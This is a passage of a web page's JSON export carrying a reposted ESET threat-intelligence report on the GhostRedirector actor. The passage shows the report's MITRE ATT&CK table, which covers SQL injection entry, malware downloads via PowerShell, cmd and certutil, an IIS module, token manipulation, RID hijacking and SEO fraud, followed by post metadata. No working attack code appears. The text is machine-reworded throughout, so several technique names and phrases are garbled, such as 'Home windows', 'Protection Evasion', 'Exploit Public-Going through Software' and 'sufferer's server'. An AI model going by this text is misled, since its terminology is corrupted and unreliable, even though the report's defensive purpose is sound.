href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1608\/002\" target=\"_blank\" rel=\"noopener\">T1608.002<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Stage Capabilities: Add Software<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector has staged numerous malicious and legit instruments on attacker-controlled servers.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1588\/003\" target=\"_blank\" rel=\"noopener\">T1588.003<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Receive Capabilities: Code Signing Certificates<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector obtained a certificates for signing its instruments, like these for privilege escalation.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><strong>Preliminary Entry<\/strong><\/td>\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1190\" target=\"_blank\" rel=\"noopener\">T1190<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Exploit Public-Going through Software<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector exploits an unknown SQL injection vulnerability on the sufferer\u2019s server.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 234px;\" rowspan=\"4\" width=\"113\"><strong>Execution<\/strong><\/td>\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1106\" target=\"_blank\" rel=\"noopener\">T1106<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Native API<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector could use APIs equivalent to <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/win32\/api\/http\/nf-http-httpinitialize\" target=\"_blank\" rel=\"noopener\">HttpInitialize<\/a> and <a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/learn.microsoft.com\/en-us\/windows\/desktop\/api\/Http\/nf-http-httpaddurl\" target=\"_blank\" rel=\"noopener\">HttpAddUrl<\/a> for registering a URL.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1059\/001\" target=\"_blank\" rel=\"noopener\">T1059.001<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Command and Scripting Interpreter: PowerShell<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector makes use of PowerShell interpreter to obtain malware.<\/td>\n<\/tr>\n<tr style=\"height: 72px;\">\n<td style=\"height: 72px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1059\/003\" target=\"_blank\" rel=\"noopener\">T1059.003<\/a><\/td>\n<td style=\"height: 72px;\" width=\"151\">Command and Scripting Interpreter: Home windows Command Shell<\/td>\n<td style=\"height: 72px;\" width=\"265\">GhostRedirector can execute <span style=\"font-family: courier new, courier, monospace;\">cmd.exe<\/span> instructions to obtain malware.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1559\" target=\"_blank\" rel=\"noopener\">T1559<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Inter-Course of Communication<\/td>\n<td style=\"height: 54px;\" width=\"265\">Comdai can create a pipe to speak and obtain info from one other course of.<\/td>\n<\/tr>\n<tr style=\"height: 73px;\">\n<td style=\"height: 73px;\" width=\"113\"><strong>Persistence<\/strong><\/td>\n<td style=\"height: 73px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1546\" target=\"_blank\" rel=\"noopener\">T1546<\/a><\/td>\n<td style=\"height: 73px;\" width=\"151\">Occasion Triggered Execution<\/td>\n<td style=\"height: 73px;\" width=\"265\">Gamshen is loaded by the IIS Employee Course of (<span style=\"font-family: courier new, courier, monospace;\">w3wp.exe<\/span>) when the IIS server receives an inbound HTTP request.<\/td>\n<\/tr>\n<tr style=\"height: 36px;\">\n<td style=\"height: 72px;\" rowspan=\"2\" width=\"113\"><strong>Privilege Escalation<\/strong><\/td>\n<td style=\"height: 36px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1134\" target=\"_blank\" rel=\"noopener\">T1134<\/a><\/td>\n<td style=\"height: 36px;\" width=\"151\">Entry Token Manipulation<\/td>\n<td style=\"height: 36px;\" width=\"265\">GhostRedirector can manipulate tokens to carry out a neighborhood privilege escalation.<\/td>\n<\/tr>\n<tr style=\"height: 36px;\">\n<td style=\"height: 36px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1112\" target=\"_blank\" rel=\"noopener\">T1112<\/a><\/td>\n<td style=\"height: 36px;\" width=\"151\">Modify Registry<\/td>\n<td style=\"height: 36px;\" width=\"265\">GhostRedirector can modify a Home windows registry key to carry out RID hijacking.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 162px;\" rowspan=\"3\" width=\"113\"><strong>Protection Evasion<\/strong><\/td>\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1027\" target=\"_blank\" rel=\"noopener\">T1027<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Obfuscated Recordsdata or Info<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector obfuscates its native privilege escalation instruments utilizing .NET Reactor.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1027\/009\" target=\"_blank\" rel=\"noopener\">T1027.009<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Obfuscated Recordsdata or Info: Embedded Payloads<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector embedded webshells into its payloads like Zunput to be dropped on compromised server.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1140\" target=\"_blank\" rel=\"noopener\">T1140<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Deobfuscate\/Decode Recordsdata or Info<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector makes use of AES in CBC mode to decrypt strings within the backdoor Rungan.<\/td>\n<\/tr>\n<tr style=\"height: 36px;\">\n<td style=\"height: 36px;\" width=\"113\"><strong>Discovery<\/strong><\/td>\n<td style=\"height: 36px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1083\" target=\"_blank\" rel=\"noopener\">T1083<\/a><\/td>\n<td style=\"height: 36px;\" width=\"151\">File and Listing Discovery<\/td>\n<td style=\"height: 36px;\" width=\"265\">GhostRedirector can use Zunput to record listing content material on a sufferer\u2019s server.<\/td>\n<\/tr>\n<tr style=\"height: 55px;\">\n<td style=\"height: 235px;\" rowspan=\"4\" width=\"113\"><strong>Command and Management<\/strong><\/td>\n<td style=\"height: 55px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1105\" target=\"_blank\" rel=\"noopener\">T1105<\/a><\/td>\n<td style=\"height: 55px;\" width=\"151\">Ingress Software Switch<\/td>\n<td style=\"height: 55px;\" width=\"265\">GhostRedirector can abuse the software <span style=\"font-family: courier new, courier, monospace;\">certutil.exe<\/span> to obtain malware.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1219\" target=\"_blank\" rel=\"noopener\">T1219<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Distant Entry Software program<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector could use the GoToHTTP software for connecting remotely to victims.<\/td>\n<\/tr>\n<tr style=\"height: 54px;\">\n<td style=\"height: 54px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1071\/001\" target=\"_blank\" rel=\"noopener\">T1071.001<\/a><\/td>\n<td style=\"height: 54px;\" width=\"151\">Software Layer Protocol: Internet Protocols<\/td>\n<td style=\"height: 54px;\" width=\"265\">GhostRedirector depends on HTTP to speak with the backdoor Rungan.<\/td>\n<\/tr>\n<tr style=\"height: 72px;\">\n<td style=\"height: 72px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1008\" target=\"_blank\" rel=\"noopener\">T1008<\/a><\/td>\n<td style=\"height: 72px;\" width=\"151\">Fallback Channels<\/td>\n<td style=\"height: 72px;\" width=\"265\">GhostRedirector can deploy the software GoToHTTP or create malicious customers on the compromised server to take care of entry.<\/td>\n<\/tr>\n<tr style=\"height: 90px;\">\n<td style=\"height: 90px;\" width=\"113\"><strong>Influence<\/strong><\/td>\n<td style=\"height: 90px;\" width=\"113\"><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/attack.mitre.org\/versions\/v17\/techniques\/T1565\" target=\"_blank\" rel=\"noopener\">T1565<\/a><\/td>\n<td style=\"height: 90px;\" width=\"151\">Knowledge Manipulation<\/td>\n<td style=\"height: 90px;\" width=\"265\">GhostRedirector can modify the response of a compromised server meant for the Google crawler, in makes an attempt to affect search outcomes order.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><a rel=\"nofollow\" target=\"_blank\" href=\"https:\/\/www.eset.com\/int\/business\/services\/threat-intelligence\/?utm_source=welivesecurity.com&amp;utm_medium=referral&amp;utm_campaign=wls-research&amp;utm_content=ghostredirector-poisons-windows-servers-backdoors-side-potatoes&amp;sfdccampaignid=7011n0000017htTAAQ\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/eti-eset-threat-intelligence.png\" alt=\"\" width=\"915\" height=\"296\"\/><\/a><\/p>\n<\/div>\n\n","protected":false},"excerpt":{"rendered":"<p>ESET researchers have recognized a brand new menace actor, whom now we have named GhostRedirector, that compromised a minimum of 65 Home windows servers primarily in Brazil, Thailand, and Vietnam. GhostRedirector used two beforehand undocumented, customized instruments: a passive C++ backdoor that we named Rungan, and a malicious Web Info Providers (IIS) module that we [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":6347,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[58],"tags":[5168,5170,5169],"class_list":["post-6345","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cybersecurity","tag-backdoors","tag-potatoes","tag-side"],"_links":{"self":[{"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=\/wp\/v2\/posts\/6345","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6345"}],"version-history":[{"count":1,"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=\/wp\/v2\/posts\/6345\/revisions"}],"predecessor-version":[{"id":6346,"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=\/wp\/v2\/posts\/6345\/revisions\/6346"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=\/wp\/v2\/media\/6347"}],"wp:attachment":[{"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6345"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6345"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/techtrendfeed.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6345"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<!-- This website is optimized by Airlift. Learn more: https://airlift.net. Template:. Learn more: https://airlift.net. Template: 69d9690a190636c2e0989534. Config Timestamp: 2026-04-10 21:18:02 UTC, Cached Timestamp: 2026-06-13 15:19:33 UTC -->